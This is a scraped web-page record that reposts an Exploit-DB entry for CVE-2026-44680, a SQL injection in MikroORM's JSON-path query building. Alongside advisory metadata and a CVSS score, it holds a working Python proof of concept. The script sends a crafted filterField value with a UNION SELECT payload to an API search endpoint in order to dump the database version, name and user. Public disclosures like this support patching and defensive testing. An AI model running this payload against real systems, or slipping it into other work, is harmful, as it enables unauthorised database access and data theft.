{“lastseen”:”2026-05-29T11:29:17″,”description”:”Exploit Title: MikroORM 7.0.13 – SQL Injection Google Dork: N\/A Date: 2026-05-27 Exploit Author: cardosource Vendor Homepage: https:\/\/mikro-orm.io\/ Software Link: https:\/\/github.com\/mikro-orm\/mikro-orm Version: @mikro-orm\/knex = 6.6.13 \/ @mikro-orm\/sql…”,”published”:”2026-05-29T00:00:00″,”modified”:”2026-05-29T00:00:00″,”type”:”exploitdb”,”title”:”MikroORM 7.0.13 – SQL Injection”,”source”:””,”references”:””,”id”:”EDB-ID:52600″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-44680″],”sourceData”:”# Exploit Title: MikroORM 7.0.13 – SQL Injection \\r\\n# Google Dork: N\/A\\r\\n# Date: 2026-05-27\\r\\n# Exploit Author: cardosource\\r\\n# Vendor Homepage: https:\/\/mikro-orm.io\/\\r\\n# Software Link: https:\/\/github.com\/mikro-orm\/mikro-orm\\r\\n# Version: @mikro-orm\/knex \\u003c= 6.6.13 \/ @mikro-orm\/sql \\u003c= 7.0.13\\r\\n# Tested on: Docker \/ Debian Bookworm \/ Node.js 18 \/ MariaDB 10.x\\r\\n# CVE: CVE-2026-44680\\r\\n# Advisory: https:\/\/github.com\/mikro-orm\/mikro-orm\/security\/advisories\/GHSA-cfw5-68c4-ffqp\\r\\n\\r\\n\\”\\”\\”\\r\\nDescription:\\r\\nThe vulnerability exists because MikroORM fails to properly escape\\r\\nruntime-controlled JSON path keys when building JSON_EXTRACT queries.\\r\\n\\r\\nThe attacker can break out of the JSON path context and inject arbitrary SQL.\\r\\n\\r\\nAffected API pattern:\\r\\n\\r\\nem.find(Entity, {\\r\\n jsonColumn: {\\r\\n [userControlledKey]: value\\r\\n }\\r\\n})\\r\\n\\r\\n\\r\\nBy injecting crafted JSON-path keys, it becomes possible to execute\\r\\nUNION SELECT statements and extract arbitrary database information.\\r\\n\\”\\”\\”\\r\\n\\r\\nimport requests\\r\\nimport json\\r\\n\\r\\nurl = \\”http:\/\/localhost:3000\/api\/users\/search\\”\\r\\n\\r\\npayload = {\\r\\n \\”filterField\\”: \\”$.x’ ) OR 1=1 UNION SELECT @@version, DATABASE(), USER(), @@version_comment — \\”,\\r\\n \\”filterValue\\”: \\”x\\”\\r\\n}\\r\\n\\r\\nheaders = {\\r\\n \\”Content-Type\\”: \\”application\/json\\”\\r\\n}\\r\\n\\r\\nresponse = requests.post(url, json=payload, headers=headers)\\r\\n\\r\\nprint(f\\”Status: {response.status_code}\\”)\\r\\nprint(json.dumps(response.json(), indent=2))”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52600″,”cvss”:{“score”:7.6,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:L\/A:L”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52600″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-29T11:29:17″,”description”:”Exploit Title: MikroORM 7.0.13 – SQL Injection Google Dork: N\/A Date: 2026-05-27 Exploit Author: cardosource Vendor Homepage: https:\/\/mikro-orm.io\/ Software Link: https:\/\/github.com\/mikro-orm\/mikro-orm Version: @mikro-orm\/knex = 6.6.13…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,63,12,40,15,13,7,11,5],"class_list":["post-58037","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-76","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n